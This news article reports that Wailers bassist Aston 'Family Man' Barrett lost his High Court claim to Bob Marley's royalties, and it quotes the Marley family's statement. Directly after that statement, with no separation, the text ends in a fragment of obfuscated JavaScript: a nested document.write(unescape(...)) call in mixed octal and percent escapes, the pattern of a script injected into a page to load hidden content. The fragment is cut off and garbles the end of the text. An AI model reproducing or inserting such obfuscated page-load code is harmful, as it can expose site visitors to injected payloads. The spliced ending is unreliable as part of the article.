Bob Marley bassist losses court battle

Aston "Family Man" Barrett, bass player in Bob Marley's band The Wailers, has failed in his battle for a multi-million-pound slice of the late reggae legend's royalties.

Barrett, who with his drummer brother, Carlton, is credited with having invented the reggae beat which swept the world, was seeking up to £60 million he claimed he was owed since Marley died aged 36 in 1981 without making a will.

But High Court judge Mr Justice Lewison threw out the claim against Universal-Island and the Marley family and imposed an order barring Barrett from taking any further action without the permission of the court.

The musician now faces legal costs for the trial approaching £2 million and must sell his two homes in Jamaica.

Barrett, now 60 and reputedly the father of 52 children, claimed Marley promised the members of the band equal shares of the royalties from hit albums including Babylon By Bus, Exodus and Rastaman Vibration.

The judge, who heard the case in London, agreed with arguments put by Island-Universal and the Marley family that Barrett surrendered his rights to any further royalties in a 1994 settlement in exchange for several hundred thousand dollars.

In a press release after the ruling, the Marley family said: "For the last four years Aston Barrett has persisted in this hurtful and extremely expensive claim which was actually settled in 1994.

"The family of Bob Marley is delighted that the claim has now been rejected in full.

"We always felt that this would be the outcome and it was hard to listen to Aston Barrett reduce his friend Bob to someone who was more interested in playing football than making music.

"It is good to see our position vindicated."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;